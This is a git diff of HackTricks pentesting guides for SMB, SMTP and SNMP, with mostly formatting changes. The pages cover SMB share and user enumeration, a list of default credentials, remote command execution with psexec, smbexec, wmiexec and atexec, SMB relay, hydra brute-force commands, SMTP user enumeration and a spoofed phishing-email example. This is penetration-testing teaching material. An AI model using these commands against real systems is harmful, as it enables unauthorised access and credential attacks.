[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/carlospolopm)**.**\ If you want to **share some tricks with the community** you can also submit **pull requests** to [**https://github.com/carlospolop/hacktricks**](https://github.com/carlospolop/hacktricks) that will be reflected in this book and don't forget to **give ⭐** on **github** to **motivate** **me** to continue developing this book. ## **Port 139** -**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network \(LAN\) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one \(the client\) sends a command to “call” another client \(the server\) over **TCP Port 139**. \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\) +**NetBIOS** stands for _Network Basic Input Output System_. It is a software protocol that allows applications, PCs, and Desktops on a local area network (LAN) to communicate with network hardware and to transmit data across the network. Software applications that run on a NetBIOS network locate and identify each other via their NetBIOS names. A NetBIOS name is up to 16 characters long and usually, separate from the computer name. Two applications start a NetBIOS session when one (the client) sends a command to “call” another client (the server) over **TCP Port 139**. (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) -```text +``` 139/tcp open netbios-ssn Microsoft Windows netbios-ssn ``` @@ -20,9 +20,9 @@ If you want to **share some tricks with the community** you can also submit **pu While Port 139 is known technically as ‘NBT over IP’, Port 445 is ‘SMB over IP’. **SMB** stands for ‘**Server Message Blocks**’. Server Message Block in modern language is also known as **Common Internet File System**. The system operates as an application-layer network protocol primarily used for offering shared access to files, printers, serial ports, and other sorts of communications between nodes on a network. -For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** \(extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)\) +For instance, on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP**.** (extracted from [here](https://www.thewindowsclub.com/smb-port-what-is-port-445-port-139-used-for)) -```text +``` 445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP) ``` @@ -54,7 +54,7 @@ nbtscan -r 192.168.0.1/24 To look for possible exploits to the SMB version it important to know which version is being used. If this information does not appear in other used tools, you can: -* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb\_version** +* Use the **MSF** auxiliary module \_**auxiliary/scanner/smb/smb_version** * **\*\*\_Or** this script\*\*: ```bash @@ -83,15 +83,15 @@ searchsploit microsoft smb ### **Possible** Credentials -| **Username\(s\)** | **Common passwords** | -| :--- | :--- | -| _\(blank\)_ | _\(blank\)_ | -| guest | _\(blank\)_ | -| Administrator, admin | _\(blank\)_, password, administrator, admin | -| arcserve | arcserve, backup | -| tivoli, tmersrvd | tivoli, tmersrvd, admin | -| backupexec, backup | backupexec, backup, arcada | -| test, lab, demo | password, test, lab, demo | +| **Username(s)** | **Common passwords** | +| -------------------- | ----------------------------------------- | +| _(blank)_ | _(blank)_ | +| guest | _(blank)_ | +| Administrator, admin | _(blank)_, password, administrator, admin | +| arcserve | arcserve, backup | +| tivoli, tmersrvd | tivoli, tmersrvd, admin | +| backupexec, backup | backupexec, backup, arcada | +| test, lab, demo | password, test, lab, demo | ### Obtain information @@ -120,7 +120,7 @@ rpcclient //machine.htb -U domain.local/USERNAME%754d87d42adabcca32bdb34a876cbff **Pat of this section was extracted from book "**_**Network Security Assesment 3rd Edition**_**"** -You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** \(often requiring credentials\). +You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints via named pipes**. The following lists commands that you can issue to SAMR, LSARPC, and LSARPC-DS interfaces upon **establishing** a **SMB session** (often requiring credentials). #### Users enumeration @@ -151,23 +151,23 @@ You can use the Samba **`rpcclient`** utility to interact with **RPC endpoints v * **Find SIDs by name**: `lookupnames ` * **Find more SIDs**: `lsaenumsid` -* **RID cycling \(check more SIDs\)**: `lookupsids ` +* **RID cycling (check more SIDs)**: `lookupsids ` -| **Command** | **Interface** | **Description** | -| :--- | :--- | :--- | -| queryuser | SAMR | Retrieve user information | -| querygroup | Retrieve group information | | -| querydominfo | Retrieve domain information | | -| enumdomusers | Enumerate domain users | | -| enumdomgroups | Enumerate domain groups | | -| createdomuser | Create a domain user | | -| deletedomuser | Delete a domain user | | -| lookupnames | LSARPC | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values | -| lookupsids | Look up SIDs to usernames \(RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling\) | | -| lsaaddacctrights | Add rights to a user account | | -| lsaremoveacctrights | Remove rights from a user account | | -| dsroledominfo | LSARPC-DS | Get primary domain information | -| dsenumdomtrusts | Enumerate trusted domains within an AD forest | | +| **Command** | **Interface** | **Description** | +| ------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------- | ----------------------------------------------------------------------------------------------------------------------------------------- | +| queryuser | SAMR | Retrieve user information | +| querygroup | Retrieve group information | | +| querydominfo | Retrieve domain information | | +| enumdomusers | Enumerate domain users | | +| enumdomgroups | Enumerate domain groups | | +| createdomuser | Create a domain user | | +| deletedomuser | Delete a domain user | | +| lookupnames | LSARPC | Look up usernames to SID[a](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn8) values | +| lookupsids | Look up SIDs to usernames (RID[b](https://learning.oreilly.com/library/view/network-security-assessment/9781491911044/ch08.html#ch08fn9) cycling) | | +| lsaaddacctrights | Add rights to a user account | | +| lsaremoveacctrights | Remove rights from a user account | | +| dsroledominfo | LSARPC-DS | Get primary domain information | +| dsenumdomtrusts | Enumerate trusted domains within an AD forest | | To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ works you should read [**Pentesting MSRPC**](135-pentesting-msrpc.md). @@ -177,7 +177,7 @@ To **understand** better how the tools _**samrdump**_ **and** _**rpcdump**_ work `xdg-open smb://cascade.htb/` -#### In file browser window \(nautilus, thunar, etc\) +#### In file browser window (nautilus, thunar, etc) `smb://friendzone.htb/general/` @@ -212,7 +212,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t ### **Manually enumerate windows shares and connect to them** -It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT\_STATUS\_ACCESS\_DENIED and NT\_STATUS\_BAD\_NETWORK\_NAME, when using a valid session \(e.g. null session or valid credentials\). These may indicate whether the share exists and you do not have access to it or the share does not exist at all. +It may be possible that you are restricted to display any shares of the host machine and when you try to list them it appears as if there aren't any shares to connect to. Thus it might be worth a short to try to manually connect to a share. To enumerate the shares manually you might want to look for responses like NT_STATUS_ACCESS_DENIED and NT_STATUS_BAD_NETWORK_NAME, when using a valid session (e.g. null session or valid credentials). These may indicate whether the share exists and you do not have access to it or the share does not exist at all. Common share names for windows targets are @@ -225,7 +225,7 @@ Common share names for windows targets are * SYSVOL * NETLOGON -\(Common share names from _**Network Security Assessment 3rd edition**_\) +(Common share names from _**Network Security Assessment 3rd edition**_) You can try to connect to them by using the following command @@ -234,7 +234,7 @@ smbclient -U '%' -N \\\\\\ # null session to connect to a windows sha smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) ``` -or this script \(using a null session\) +or this script (using a null session) ```bash #/bin/bash @@ -288,12 +288,12 @@ smbclient /// Commands: -* mask: specifies the mask which is used to filter the files within the directory \(e.g. "" for all files\) -* recurse: toggles recursion on \(default: off\) -* prompt: toggles prompting for filenames off \(default: on\) +* mask: specifies the mask which is used to filter the files within the directory (e.g. "" for all files) +* recurse: toggles recursion on (default: off) +* prompt: toggles prompting for filenames off (default: on) * mget: copies all files matching the mask from host to client machine -\(_Information from the manpage of smbclient_\) +(_Information from the manpage of smbclient_) ### Read Registry @@ -311,13 +311,13 @@ Enumerate **local** users with SID brute-forcing: With `Impacket`: -```text +``` lookupsid.py -no-pass hostname.local ``` With `Metasploit`: -```text +``` use auxiliary/scanner/smb/smb_lookupsid set rhosts hostname.local run @@ -362,8 +362,8 @@ crackmapexec smb -d -u Administrator -p 'password' --rid-brute #RI ### [**psexec**](../windows/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows/ntlm/smbexec.md) -Both options will **create a new service** \(using _\pipe\svcctl_ via SMB\) in the victim machine and use it to **execute something** \(**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-\). -**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md). +Both options will **create a new service** (using _\pipe\svcctl_ via SMB) in the victim machine and use it to **execute something** (**psexec** will **upload** an executable file to ADMIN$ share and **smbexec** will point to **cmd.exe/powershell.exe** and put in the arguments the payload --**file-less technique-**-).\ +**More info** about [**psexec** ](../windows/ntlm/psexec-and-winexec.md)and [**smbexec**](../windows/ntlm/smbexec.md).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash @@ -378,7 +378,7 @@ Using **parameter**`-k` you can authenticate against **kerberos** instead of **N ### [wmiexec](../windows/ntlm/wmicexec.md)/dcomexec -Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.** +Stealthily execute a command shell without touching the disk or running a new service using DCOM via **port 135.**\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash @@ -399,7 +399,7 @@ Using **parameter**`-k` you can authenticate against **kerberos** instead of **N ### [AtExec](../windows/ntlm/atexec.md) -Execute commands via the Task Scheduler \(using _\pipe\atsvc_ via SMB\). +Execute commands via the Task Scheduler (using _\pipe\atsvc_ via SMB).\ In **kali** it is located on /usr/share/doc/python3-impacket/examples/ ```bash @@ -422,7 +422,7 @@ ridenum.py 500 50000 /root/passwds.txt #Get usernames bruteforcing that rid ## SMB relay attack -This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**. +This attack uses the Responder toolkit to **capture SMB authentication sessions** on an internal network, and **relays** them to a **target machine**. If the authentication **session is successful**, it will automatically drop you into a **system** **shell**.\ [**More information about this attack here.**](pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md) ## SMB-Trap @@ -436,17 +436,17 @@ This happens with the funcions: * URLOpenStream * URLOpenBlockingStream -Which are used by some browsers and tools \(like Skype\) +Which are used by some browsers and tools (like Skype) -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](../.gitbook/assets/image%20%28273%29.png) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (93).png>) ### SMBTrap using MitMf -![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](../.gitbook/assets/image%20%28116%29.png) +![From: http://www.elladodelmal.com/2017/02/como-hacer-ataques-smbtrap-windows-con.html](<../.gitbook/assets/image (94).png>) ## HackTricks Automatic Commands -```text +``` Protocol_Name: SMB #Protocol Abbreviation if there is one. Port_Number: 137,138,139 #Comma separated if there is more than one. Protocol_Description: Server Message Block #Protocol Abbreviation Spelled out @@ -505,4 +505,3 @@ Entry_5: Description: Need User Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} {IP} smb ``` - diff --git a/pentesting/pentesting-smtp/README.md b/pentesting/pentesting-smtp/README.md index 5cd316dd..3ac726c2 100644 --- a/pentesting/pentesting-smtp/README.md +++ b/pentesting/pentesting-smtp/README.md @@ -2,26 +2,26 @@ ## **Basic Information** -**SMTP \(Simple Mail Transfer Protocol\)** is a TCP/IP protocol used in **sending** and receiving **e-mail**. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. +**SMTP (Simple Mail Transfer Protocol)** is a TCP/IP protocol used in **sending** and receiving **e-mail**. However, since it is limited in its ability to queue messages at the receiving end, it is usually used with one of two other protocols, POP3 or IMAP, that let the user save messages in a server mailbox and download them periodically from the server. -In other words, **users typically use** a program that uses **SMTP for sending e-mail** and either **POP3 or IMAP for receiving** e-mail. On Unix-based systems, **sendmail** is the most widely-used SMTP server for e-mail. A commercial package, Sendmail, includes a POP3 server. **Microsoft Exchange** includes an SMTP server and can also be set up to include POP3 support. +In other words, **users typically use** a program that uses **SMTP for sending e-mail** and either **POP3 or IMAP for receiving** e-mail. On Unix-based systems, **sendmail** is the most widely-used SMTP server for e-mail. A commercial package, Sendmail, includes a POP3 server. **Microsoft Exchange** includes an SMTP server and can also be set up to include POP3 support.\ From [here](https://whatis.techtarget.com/definition/SMTP-Simple-Mail-Transfer-Protocol). -**Default port:** 25,465\(ssl\),587\(ssl\) +**Default port:** 25,465(ssl),587(ssl) -```text +``` PORT STATE SERVICE REASON VERSION 25/tcp open smtp syn-ack Microsoft ESMTP 6.0.3790.3959 ``` ### EMAIL Headers -If you have the opportunity to **make the victim send you a emai**l \(via contact form of the web page for example\), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail. +If you have the opportunity to **make the victim send you a emai**l (via contact form of the web page for example), do it because **you could learn about the internal topology** of the victim seeing the headers of the mail. -You can also get an email from a SMTP server trying to **send to that server an email to a non-existent address** \(because the server will send to the attacker a NDN mail\). But, be sure that you send the email from an allowed address \(check the SPF policy\) and that you can receive NDN messages. +You can also get an email from a SMTP server trying to **send to that server an email to a non-existent address** (because the server will send to the attacker a NDN mail). But, be sure that you send the email from an allowed address (check the SPF policy) and that you can receive NDN messages. -You should also try to **send different contents because you can find more interesting information** on the headers like: `X-Virus-Scanned: by av.domain.com` -You should send the EICAR test file. +You should also try to **send different contents because you can find more interesting information** on the headers like: `X-Virus-Scanned: by av.domain.com`\ +You should send the EICAR test file.\ Detecting the **AV** may allow you to exploit **known vulnerabilities.** ## Basic actions @@ -55,7 +55,7 @@ nmap -p25 --script smtp-commands 10.10.10.10 ### NTLM Auth - Information disclosure -If the server supports NTLM auth \(Windows\) you can obtain sensitive info \(versions\). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). +If the server supports NTLM auth (Windows) you can obtain sensitive info (versions). More info [**here**](https://medium.com/@m8r0wn/internal-information-disclosure-using-hidden-ntlm-authentication-18de17675666). ```bash root@kali: telnet example.com 587 @@ -74,7 +74,7 @@ Or **automate** this with **nmap** plugin `smtp-ntlm-info.nse` Some SMTP servers auto-complete a sender's address when command "MAIL FROM" is issued without a full address, disclosing its internal name: -```text +``` 220 somedomain.com Microsoft ESMTP MAIL Service, Version: Y.Y.Y.Y ready at Wed, 15 Sep 2021 12:13:28 +0200 EHLO all 250-somedomain.com Hello [x.x.x.x] @@ -125,7 +125,7 @@ RCPT TO:ed ### VRFY -```text +``` $ telnet 10.0.0.1 25 Trying 10.0.0.1... Connected to 10.0.0.1. @@ -143,7 +143,7 @@ VRFY blah ### EXPN -```text +``` $ telnet 10.0.10.1 25 Trying 10.0.10.1... Connected to 10.0.10.1. @@ -164,7 +164,7 @@ Extracted from: [https://research.nccgroup.com/2015/06/10/username-enumeration-t ### Automatic tools -```text +``` Metasploit: auxiliary/scanner/smtp/smtp_enum smtp-user-enum: smtp-user-enum -M -u -t Nmap: nmap --script smtp-enum-users @@ -172,13 +172,13 @@ Nmap: nmap --script smtp-enum-users ## DSN Reports -**Delivery Status Notification Reports**: If you send an **email** to an organisation to an **invalid address**, the organisation will notify that the address was invalided sending a **mail back to you**. **Headers** of the returned email will **contain** possible **sensitive information** \(like IP address of the mail services that interacted with the reports or anti-virus software info\). +**Delivery Status Notification Reports**: If you send an **email** to an organisation to an **invalid address**, the organisation will notify that the address was invalided sending a **mail back to you**. **Headers** of the returned email will **contain** possible **sensitive information** (like IP address of the mail services that interacted with the reports or anti-virus software info). ## [Commands](smtp-commands.md) ### Sending an Email from linux console -```text +``` root@kali:~# sendEmail -t itdept@victim.com -f techsupport@bestcomputers.com -s 192.168.8.131 -u Important Upgrade Instructions -a /tmp/BestComputers-UpgradeInstructions.pdf Reading message body from STDIN because the '-m' option was not used. If you are manually typing in a message: @@ -253,92 +253,39 @@ A **complete guide of these countermeasures** can be found in [https://seanthege ### SPF -**Sender Policy Framework** \(SPF\) provides a mechanism that allows MTAs to check if a host sending an email is authorized. -Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not. +**Sender Policy Framework** (SPF) provides a mechanism that allows MTAs to check if a host sending an email is authorized.\ +Then, the organisations can define a list of authorised mail servers and the MTAs can query for this lists to check if the email was spoofed or not.\ **\*\*In order to define IP addresses/ranges, domains and others that** are allowed to send email on behalf a domain name**, different "**Mechanism\*\*" cam appear in the SPF registry. #### Mechanisms - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
MechanismDescription
ALLMatches always; used for a default result like -all for all - IPs not matched by prior mechanisms.
AIf the domain name has an address record (A or AAAA) that can be resolved - to the sender's address, it will match.
IP4If the sender is in a given IPv4 address range, match.
IP6If the sender is in a given IPv6 address range, match.
MXIf the domain name has an MX record resolving to the sender's address, - it will match (i.e. the mail comes from one of the domain's incoming - mail servers).
PTRIf the domain name (PTR record) for the client's address is in the - given domain and that domain name resolves to the client's address - (forward-confirmed reverse DNS), match. This mechanism is discouraged and - should be avoided, if possible.
EXISTSIf the given domain name resolves to any address, match (no matter the - address it resolves to). This is rarely used. Along with the SPF macro - language it offers more complex matches like DNSBL-queries.
INCLUDEReferences the policy of another domain. If that domain's policy - passes, this mechanism passes. However, if the included policy fails, processing - continues. To fully delegate to another domain's policy, the redirect - extension must be used.
REDIRECT -

A redirect is a pointer to another domain name that hosts an SPF policy, - it allows for multiple domains to share the same SPF policy. It is useful - when working with a large amount of domains that share the same email infrastructure.

-

It SPF policy of the domain indicated in the redirect Mechanism will be - used.

-
+| Mechanism | Description | +| --------- | ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | +| ALL | Matches always; used for a default result like `-all` for all IPs not matched by prior mechanisms. | +| A | If the domain name has an address record (A or AAAA) that can be resolved to the sender's address, it will match. | +| IP4 | If the sender is in a given IPv4 address range, match. | +| IP6 | If the sender is in a given IPv6 address range, match. | +| MX | If the domain name has an MX record resolving to the sender's address, it will match (i.e. the mail comes from one of the domain's incoming mail servers). | +| PTR | If the domain name (PTR record) for the client's address is in the given domain and that domain name resolves to the client's address (forward-confirmed reverse DNS), match. This mechanism is discouraged and should be avoided, if possible. | +| EXISTS | If the given domain name resolves to any address, match (no matter the address it resolves to). This is rarely used. Along with the SPF macro language it offers more complex matches like DNSBL-queries. | +| INCLUDE | References the policy of another domain. If that domain's policy passes, this mechanism passes. However, if the included policy fails, processing continues. To fully delegate to another domain's policy, the redirect extension must be used. | +| REDIRECT |

A redirect is a pointer to another domain name that hosts an SPF policy, it allows for multiple domains to share the same SPF policy. It is useful when working with a large amount of domains that share the same email infrastructure.

It SPF policy of the domain indicated in the redirect Mechanism will be used.

| -It's also possible to identify **Qualifier**s that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used \(so if any mechanism is matched, that means it's allowed\). -You usually will note **at the end of each SPF policy** something like: **~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted \(~\) or reject \(-\) the email.** +It's also possible to identify **Qualifier**s that indicates **what should be done if a mechanism is matched**. By default, the **qualifier "+"** is used (so if any mechanism is matched, that means it's allowed).\ +You usually will note **at the end of each SPF policy** something like: **\~all** or **-all**. This is used to indicate that **if the sender doesn't match any SPF policy, you should tag the email as untrusted (\~) or reject (-) the email.** #### Qualifiers Each mechanism can be combined with one of four qualifiers: * **`+`** for a PASS result. This can be omitted; e.g., `+mx` is the same as `mx`. -* **`?`** for a NEUTRAL result interpreted like NONE \(no policy\). -* **`~`** \(tilde\) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged. -* **`-`** \(minus\) for FAIL, the mail should be rejected \(see below\). +* **`?`** for a NEUTRAL result interpreted like NONE (no policy). +* **`~`** (tilde) for SOFTFAIL, a debugging aid between NEUTRAL and FAIL. Typically, messages that return a SOFTFAIL are accepted but tagged. +* **`-`** (minus) for FAIL, the mail should be rejected (see below). In the following example you can read the **SPF policy of google.com**. Note how the **first SPF policy includes SPF policies of other domains:** -```text +``` kali@kali:~$ dig txt google.com | grep spf google.com. 235 IN TXT "v=spf1 include:_spf.google.com ~all" @@ -363,11 +310,11 @@ To check the SPF of a domain you can use online tools like: [https://www.kitterm ### DKIM -DomainKeys Identified Mail \(DKIM\) is a mechanism by which **outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS**. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it. +DomainKeys Identified Mail (DKIM) is a mechanism by which **outbound email is signed and validated by foreign MTAs upon retrieving a domain’s public key via DNS**. The DKIM public key is held within a TXT record for a domain; however, you must know both the selector and domain name to retrieve it. Then, to ask for the key you need the domain name and the selector of the mail from the mail header `DKIM-Signature` for example: `d=gmail.com;s=20120113` -```text +``` dig 20120113._domainkey.gmail.com TXT | grep p= 20120113._domainkey.gmail.com. 280 IN TXT "k=rsa\; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCg KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn1skyoxcTUGCQs8g3 @@ -375,13 +322,13 @@ KCAQEA1Kd87/UeJjenpabgbFwh+eBCsSTrqmwIYYvywlbhbqoo2DymndFkbjOVIPIldNs/m40KF+yzMn ### DMARC -Domain-based Message Authentication, Reporting & Conformance \(DMARC\) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed. +Domain-based Message Authentication, Reporting & Conformance (DMARC) is a method of mail authentication that expands upon SPF and DKIM. Policies instruct mail servers how to process email for a given domain and report upon actions performed. -![](../../.gitbook/assets/image%20%28186%29.png) +![](<../../.gitbook/assets/image (134).png>) **To obtain the DMARC record, you need to query the subdomain \_dmarc** -```text +``` root@kali:~# dig _dmarc.yahoo.com txt | grep DMARC _dmarc.yahoo.com. 1785 IN TXT "v=DMARC1\; p=reject\; sp=none\; pct=100\; rua=mailto:dmarc-yahoo-rua@yahoo-inc.com, mailto:dmarc_y_rua@yahoo.com\;" @@ -398,21 +345,21 @@ PayPal and Yahoo instruct mail servers to reject messages that contain invalid D #### DMARC tags -| Tag Name | Purpose | Sample | -| :--- | :--- | :--- | -| v | Protocol version | v=DMARC1 | -| pct | Percentage of messages subjected to filtering | pct=20 | -| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | -| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | -| p | Policy for organizational domain | p=quarantine | -| sp | Policy for subdomains of the OD | sp=reject | -| adkim | Alignment mode for DKIM | adkim=s | -| aspf | Alignment mode for SPF | aspf=r | +| Tag Name | Purpose | Sample | +| -------- | --------------------------------------------- | ------------------------------- | +| v | Protocol version | v=DMARC1 | +| pct | Percentage of messages subjected to filtering | pct=20 | +| ruf | Reporting URI for forensic reports | ruf=mailto:authfail@example.com | +| rua | Reporting URI of aggregate reports | rua=mailto:aggrep@example.com | +| p | Policy for organizational domain | p=quarantine | +| sp | Policy for subdomains of the OD | sp=reject | +| adkim | Alignment mode for DKIM | adkim=s | +| aspf | Alignment mode for SPF | aspf=r | ### **What about Subdomains?** -**From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.** -You need to have separate SPF records for each subdomain you wish to send mail from. +**From** [**here**](https://serverfault.com/questions/322949/do-spf-records-for-primary-domain-apply-to-subdomains)**.**\ +You need to have separate SPF records for each subdomain you wish to send mail from.\ The following was originally posted on openspf.org, which used to be a great resource for this kind of thing. > The Demon Question: What about subdomains? @@ -434,7 +381,7 @@ You can attack some **characteristics** of **mail clients** to make the user thi ### **Check Spoofing** -You can use the online tool [http://www.anonymailer.net/](http://www.anonymailer.net/) to send you an email spoofing an address and check if reaches you email. +You can use the online tool [http://www.anonymailer.net/](http://www.anonymailer.net) to send you an email spoofing an address and check if reaches you email. ### **More info** @@ -445,7 +392,7 @@ You can use the online tool [http://www.anonymailer.net/](http://www.anonymailer * Domain’s age * Links pointing to IP addresses * Link manipulation techniques -* Suspicious \(uncommon\) attachments +* Suspicious (uncommon) attachments * Broken email content * Values used that are different to those of the mail headers * Existence of a valid and trusted SSL certificate @@ -463,14 +410,14 @@ Usually, if installed, in `/etc/postfix/master.cf` contains **scripts to execute Other config files: -```text +``` sendmail.cf submit.cf ``` ## HackTricks Automatic Commands -```text +``` Protocol_Name: SMTP #Protocol Abbreviation if there is one. Port_Number: 25,465,587 #Comma separated if there is more than one. Protocol_Description: Simple Mail Transfer Protocol #Protocol Abbreviation Spelled out @@ -513,4 +460,3 @@ Entry_7: Description: Need Nothing Command: hydra -P {Big_Passwordlist} {IP} smtp -V ``` - diff --git a/pentesting/pentesting-smtp/smtp-commands.md b/pentesting/pentesting-smtp/smtp-commands.md index b4907b38..83f86b3d 100644 --- a/pentesting/pentesting-smtp/smtp-commands.md +++ b/pentesting/pentesting-smtp/smtp-commands.md @@ -1,43 +1,42 @@ # SMTP - Commands -**Extracted from:** [**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)\*\*\*\* +**Extracted from: **[**https://serversmtp.com/smtp-commands/**](https://serversmtp.com/smtp-commands/)**** -**HELO** +**HELO**\ It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name. -**EHLO** +**EHLO**\ An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol. -**MAIL FROM** +**MAIL FROM**\ With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer. -**RCPT TO** +**RCPT TO**\ It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address. -**SIZE** -This SMTP command informs the remote server about the estimated size \(in terms of bytes\) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server. +**SIZE**\ +This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server. -**DATA** +**DATA**\ With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission. -**VRFY** +**VRFY**\ The server is asked to verify whether a particular email address or username actually exists. -**TURN** +**TURN**\ This command is used to invert roles between the client and the server, without the need to run a new connaction. -**AUTH** +**AUTH**\ With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission. -**RSET** -It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed \(like in the case of QUIT\). +**RSET**\ +It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT). -**EXPN** +**EXPN**\ This SMTP command asks for a confirmation about the identification of a mailing list. -**HELP** +**HELP**\ It’s a client’s request for some information that can be useful for the a successful transfer of the email. -**QUIT** +**QUIT**\ It terminates the SMTP conversation. - diff --git a/pentesting/pentesting-snmp/README.md b/pentesting/pentesting-snmp/README.md index 8f461384..8426d5d0 100644 --- a/pentesting/pentesting-snmp/README.md +++ b/pentesting/pentesting-snmp/README.md @@ -2,27 +2,27 @@ ## S**NMP - Explained** -**SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network \(like routers, switches, printers, IoTs...\). +**SNMP - Simple Network Management Protocol** is a protocol used to monitor different devices in the network (like routers, switches, printers, IoTs...). -```text +``` PORT STATE SERVICE REASON VERSION 161/udp open snmp udp-response ttl 244 ciscoSystems SNMPv3 server (public) ``` ### MIB -**MIB** stands for **M**anagement **I**nformation **B**ase and is a **collection of information organized hierarchically**. These are **accessed using** a protocol such as **SNMP**. There are two types of MIBs: **scalar** and **tabular**. +**MIB** stands for **M**anagement **I**nformation **B**ase and is a **collection of information organized hierarchically**. These are **accessed using** a protocol such as **SNMP**. There are two types of MIBs: **scalar** and **tabular**.\ Scalar objects define a single object instance whereas tabular objects define multiple related object instances grouped in MIB tables. ### OIDs -**OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs \(OIDs\) belong to different standard organizations. +**OIDs** stands for **O**bject **Id**entifiers. **OIDs uniquely identify managed objects in a MIB hierarchy**. This can be depicted as a tree, the levels of which are assigned by different organizations. Top level MIB object IDs (OIDs) belong to different standard organizations.\ **Vendors define private branches including managed objects for their own products.** -![](../../.gitbook/assets/snmp_oid_mib_tree.png) +![](../../.gitbook/assets/SNMP_OID_MIB_Tree.png) -You can **navigate** through an **OID tree** from the web here: [http://www.oid-info.com/cgi-bin/display?tree=\#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) or **see what a OID means** \(like `1.3.6.1.2.1.1`\) accessing [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1). -There are some **well-known OIDs** like the ones inside 